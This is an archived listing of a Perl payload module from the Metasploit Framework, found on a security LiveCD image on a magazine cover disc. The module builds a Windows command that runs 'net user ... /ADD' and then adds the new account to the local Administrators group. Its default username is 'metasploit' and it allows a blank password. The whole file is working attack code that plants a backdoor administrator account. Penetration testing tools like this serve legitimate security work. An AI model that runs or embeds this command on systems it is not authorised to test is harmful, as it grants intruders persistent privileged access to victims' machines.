home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / win32_adduser.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  1.5 KB  |  67 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::win32_adduser;
  11. use strict;
  12. use base 'Msf::PayloadComponent::Windows::ia32::ExecuteCommand';
  13.  
  14. my $info =
  15. {
  16.   'Name'         => 'Windows Execute net user /ADD',
  17.   'Version'      => '$Revision: 1.24 $',
  18.   'Description'  => 'Create a new user and add to local Administrators group',
  19.   'Authors'      => [ 'H D Moore <hdm [at] metasploit.com>', ],
  20.   'Priv'         => 1,
  21.   'Size'         => '',
  22.   'UserOpts'     =>
  23.     {
  24.       'USER' => [1, 'DATA', 'The username to create'],
  25.       'PASS' => [1, 'DATA', 'The password for this user'],
  26.     },
  27. };
  28.  
  29. sub _Load 
  30. {
  31.     Msf::PayloadComponent::Windows::ia32::ExecuteCommand->_Import('Msf::PayloadComponent::NoConnection');
  32.  
  33.     __PACKAGE__->SUPER::_Load();
  34. }
  35.  
  36. sub new 
  37. {
  38.     my $class = shift;
  39.     my $hash = @_ ? shift : { };
  40.     my $self;
  41.  
  42.     _Load();
  43.  
  44.     $hash = $class->MergeHashRec($hash, {'Info' => $info});
  45.     $self = $class->SUPER::new($hash, @_);
  46.  
  47.     return($self);
  48. }
  49.  
  50. #
  51. # Execute a net user addition
  52. #
  53. sub CommandString 
  54. {
  55.     my $self = shift;
  56.     my $user = $self->GetVar('USER') || 'metasploit';
  57.     my $pass = $self->GetVar('PASS') || '';
  58.  
  59.     my $command =
  60.         "cmd.exe /c net user $user $pass /ADD && ".
  61.         "net localgroup Administrators $user /ADD";
  62.  
  63.     return $command;
  64. }
  65.  
  66. 1;
  67.